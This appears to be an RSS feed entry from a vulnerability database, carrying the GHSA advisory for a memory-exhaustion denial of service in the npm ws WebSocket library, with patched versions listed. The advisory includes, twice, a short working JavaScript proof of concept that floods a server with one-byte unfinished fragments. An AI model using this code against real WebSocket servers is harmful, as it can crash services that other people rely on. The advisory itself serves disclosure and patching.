<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 10 Nov 2026 12:05:10 +0000</lastBuildDate>
    <item>
      <title>GHSA-96hv-2xvq-fx4p — ws: Memory exhaustion DoS from tiny fragments and data chunks</title>
      <link>https://db.gcve.eu/vuln/ghsa-96hv-2xvq-fx4p</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: ws&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```js
import { WebSocket, WebSocketServer } from &amp;#39;ws&amp;#39;;&lt;/p&gt;
&lt;p&gt;const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);&lt;/p&gt;
&lt;p&gt;ws.on(&amp;#39;open&amp;#39;, function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });&lt;/p&gt;
&lt;p&gt;ws.on(&amp;#39;error&amp;#39;, console.error);
  ws.on(&amp;#39;close&amp;#39;, function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});&lt;/p&gt;
&lt;p&gt;wss.on(&amp;#39;connection&amp;#39;, function (ws) {
  ws.on(&amp;#39;error&amp;#39;, console.error);
  ws.on(&amp;#39;close&amp;#39;, function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: ws&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;```js
import { WebSocket, WebSocketServer } from &amp;#39;ws&amp;#39;;&lt;/p&gt;
&lt;p&gt;const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);&lt;/p&gt;
&lt;p&gt;ws.on(&amp;#39;open&amp;#39;, function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });&lt;/p&gt;
&lt;p&gt;ws.on(&amp;#39;error&amp;#39;, console.error);
  ws.on(&amp;#39;close&amp;#39;, function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});&lt;/p&gt;
&lt;p&gt;wss.on(&amp;#39;connection&amp;#39;, function (ws) {
  ws.on(&amp;#39;error&amp;#39;, console.error);
  ws.on(&amp;#39;close&amp;#39;, function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-96hv-2xvq-fx4p</guid>
    </item>
  </channel>
</rss>
